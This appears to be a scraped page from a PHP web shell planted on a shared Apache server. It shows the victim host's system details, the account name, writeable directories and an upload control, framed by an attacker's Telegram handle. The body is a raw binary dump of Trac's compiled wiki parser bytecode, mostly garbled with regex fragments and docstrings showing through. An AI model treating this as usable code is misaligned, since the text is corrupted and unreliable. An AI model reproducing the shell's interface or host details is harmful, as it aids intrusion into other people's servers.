https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/trac/wiki/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/trac/wiki/__pycache__/parser.cpython-310.pyc
o

�k�`�'�@sBddlZddlTddlmZGdd�de�Ze�d�Zdd�ZdS)	�N)�*)�EMAIL_LOOKALIKE_PATTERNc@s&eZdZdZdZdZdZdZdZdZ	dZ
d	Zd
ZdZ
dZd
ZdZdZdZdZdZdZdZdZdZdd�Zed�ZdZdZdZdd�Zded ed!ed"ed#ed$e	d%e
d&ed'ed(eefd)e
e
fgZd*d+e d,ed-d.eeeeeeefd/ed0eeeed1fd2d1efd3eed4�d5d6ed7ed8e
e
e
eed9ed9ee
ed9f	d:ed;d<gZ!e"�#e�Z$e"�#d=eef�Z%e"�#e�Z&e"�#d>e"j'�Z(e"�#d?e"j)�Z*e"�#d@edA�eedB�e"j)�Z+e"�#eedC�dD�Z,dEdF�Z-e.dGdH��Z/e.dIdJ��Z0e.dKdL��Z1dMdN�Z2e.dOdP��Z3dQdR�Z4dSS)T�
WikiParserzWiki text parser.z'''''z'''z\*\*�''z//�__z~~z,,z\^�`z\{\{\{z{{{z\}\}\}z}}}u-*•z[a-zA-Z][-a-zA-Z0-9+._]*z
[a-zA-Z.+-]*?z'[^']+'|\"[^\"]+\"z[\w/?!#@](?<!_)z(?:\|(?=[^|\s])|[^|<>\s])z[\w/=](?<!_)cCsd||fS)Nz'[/\?#][^%s\]]*|\.\.?(?:[/\?#][^%s\]]*)?�)�seprr�2/usr/lib/python3/dist-packages/trac/wiki/parser.py�_lhref_relative_target9sz!WikiParser._lhref_relative_targetz\sz[\w:](?<!\d)[\w:.-]*?z(\s*)#\!([\w+-][\w+-/]*)z9(?P<proc_pname>[-\w]+)=(?P<proc_pval>".*?"|'.*?'|[-,\w]+)cCsd||fS)Nz2=#(?P<anchorname>%s)(?:%s(?P<anchorlabel>[^\]]*))?r)�namer	rrr
�_set_anchorDs�zWikiParser._set_anchorz(?P<bolditalic>!?%s)z(?P<bold>!?%s)z(?P<bold_wc>!?%s)z(?P<italic>!?%s)z(?P<italic_wc>!?%s)z(?P<underline>!?%s)z(?P<strike>!?%s)z(?P<subscript>!?%s)z(?P<superscript>!?%s)z%(?P<inlinecode>!?%s(?P<inline>.*?)%s)z'(?P<inlinecode2>!?%s(?P<inline2>.*?)%s)z(?P<linebreak_wc>!?\\\\)z(?P<email>!?%s)z0(?P<shrefbr>!?<(?P<snsbr>%s):(?P<stgtbr>[^>]+)>)z(?P<htmlescape>[&<>])z>(?P<shref>!?((?P<sns>%s):(?P<stgt>%s:(?:%s)|%s|%s(?:%s*%s)?)))z(?P<lhref>!?\[(?:(?P<rel>%s)|z/(?P<lns>%s):(?P<ltgt>%s:(?:%s)|%s|[^\]\s\%s]*))u​z#(?:[\s%s]+(?P<label>%s|[^\]]*))?\])z(?P<anchor>!?\[%s\])z\s+z((?P<macrolink>!?\[\[(?:[^]]|][^]])+\]\])zH(?P<heading>^\s*(?P<hdepth>={1,6})\s(?P<htext>.*?)(?P<hanchor>#%s)?\s*$)zP(?P<list>^(?P<ldepth>\s*)(?:[%s]|(?P<lstart>[0-9]+|[a-zA-Z]|[ivxIVX]{1,5})\.)\s)zU(?P<definition>^\s+((?:%s[^%s]*%s|%s(?:%s{,2}[^%s])*?%s|[^%s%s:]|:[^:])+::)(?:\s+|$))rz;(?P<table_row_sep>!?\s*\|-+\s*(?P<table_row_params>%s\s*)*)z"(?P<indent>^(?P<idepth>\s+)(?=\S))zP(?P<table_cell>!?(?P<table_cell_sep>=?(?:\|\|)+=?)(?P<table_cell_last>\s*\\?$)?)z\s*%s(?:%s|\s*$)z	[^\w:.-]+z�
        (?P<macroname> [\w/+-]+ \?? | \? )     # macro, macro? or ?
          (?: \( (?P<macroargs> .*? ) \) )? $  # optional arguments within ()
    a/
        (?:
          (?P<rel> %(rel)s )                # rel is "./..." or "/..."
        | (?: (?P<lns> %(scheme)s ) : )?    # lns is the optional "scheme:"
            (?P<ltgt>                       # ltgt is the optional target
              %(scheme)s : (?:%(quoted)s)   #   - "scheme:'...quoted..'"
            | %(quoted)s                    #   - "'...quoted...'"
            | [^|]+                         #   - anything but a '|'
            )?
        )
        \s* (?: \| (?P<label> .* ) )?       # optional label after a '|'
        $
        �|)�rel�scheme�quotedz\|\s*�$cCsd|_d|_d|_d|_dS�N)�_compiled_rules�_link_resolvers�_helper_patterns�_external_handlers��selfrrr
�__init__�s
zWikiParser.__init__cC�|��|jSr)�_prepare_rulesrrrrr
�rules��zWikiParser.rulescCrr)rrrrrr
�helper_patterns�rzWikiParser.helper_patternscCrr)rrrrrr
�external_handlers�rzWikiParser.external_handlerscCs�ddlm}|jsvg}i}|jdd�}d}||j�jD]"}|��p#gD]\}}||dt|�<|�d||f�|d7}q$q||j	dd�7}t
�d�}	|D]
}
||	�|
�dd�7}qOt
�dd�
|�d	t
j�}||_||_||_dSdS)
Nr��
WikiSystem�iz(?P<i%d>%s)�z\?P<([a-z\d_]+)>z(?:r�))�
trac.wiki.apir"r�
_pre_rules�env�syntax_providers�get_wiki_syntax�str�append�_post_rules�re�compile�findall�join�UNICODErr)rr"�helpers�handlers�syntaxr#�resolver�regexp�handler�	helper_re�rulerrrr
r�s*
�

�zWikiParser._prepare_rulescCsR|js&ddlm}i}||j�jD]}|��pgD]\}}|||<qq||_|jS)Nrr!)rr&r"r(r)�get_link_resolvers)rr"�	resolversr6�	namespacer8rrr
�link_resolvers�s
�zWikiParser.link_resolverscCs|S)z,Parse `wikitext` and produce a WikiDOM tree.r)r�wikitextrrr
�parse�szWikiParser.parseN)5�__name__�
__module__�__qualname__�__doc__�BOLDITALIC_TOKEN�
BOLD_TOKEN�BOLD_TOKEN_WIKICREOLE�ITALIC_TOKEN�ITALIC_TOKEN_WIKICREOLE�UNDERLINE_TOKEN�STRIKE_TOKEN�SUBSCRIPT_TOKEN�SUPERSCRIPT_TOKEN�INLINE_TOKEN�STARTBLOCK_TOKEN�
STARTBLOCK�ENDBLOCK_TOKEN�ENDBLOCK�BULLET_CHARS�LINK_SCHEME�INTERTRAC_SCHEME�
QUOTED_STRING�SHREF_TARGET_FIRST�SHREF_TARGET_MIDDLE�SHREF_TARGET_LASTr�LHREF_RELATIVE_TARGET�XML_NAME�	PROCESSOR�PROCESSOR_PARAMr
r'rr-r.r/�
_processor_re�_startblock_re�_processor_param_rer2�
_anchor_re�VERBOSE�	_macro_re�_creolelink_re�_set_anchor_wc_rer�propertyrrr rr>r@rrrr
rs�����������������
0�
����




rz[-\w]+$cCs�tj�|�}dd�|ddd�D�}dd�|ddd�D�}|ddd�D]9}|����D]0}t�|�r]|dd	krQt|�dkrP|�t|dd���|�d
�q-|�t|��|�d�q-q%t	t
||��S)a�Parse a string containing parameter assignments,
    and return the corresponding dictionary.

    Isolated keywords are interpreted as `bool` flags, `False` if the keyword
    is prefixed with "-", `True` otherwise.

    >>> parse_processor_args('ab="c de -f gh=ij" -')
    {'ab': 'c de -f gh=ij'}

    >>> sorted(parse_processor_args('ab=c de -f gh="ij klmn" p=q-r,s').items())
    [('ab', 'c'), ('de', True), ('f', False), ('gh', 'ij klmn'), ('p', 'q-r,s')]

    >>> args = 'data-name=foo-bar data-true -data-false'
    >>> sorted(parse_processor_args(args).items())
    [('data-false', False), ('data-name', 'foo-bar'), ('data-true', True)]
    cSsg|]}t|��qSr)r+)�.0�krrr
�
<listcomp>�sz(parse_processor_args.<locals>.<listcomp>r$N�cSs8g|]}|dd�|dd�dvr|dd�n|�qS)Nr$���)z""rr)rg�vrrr
ri�s0��r�-FT)rr`�split�strip�_processor_pname_re�match�lenr,r+�dict�zip)�processor_args�args�keys�values�flags�flagrrr
�parse_processor_args�s$�

�
��	r|)	r.�	trac.core�trac.notificationr�	Componentrr/rqr|rrrr
�<module>s
K

https://t.me/RX1948 - 2025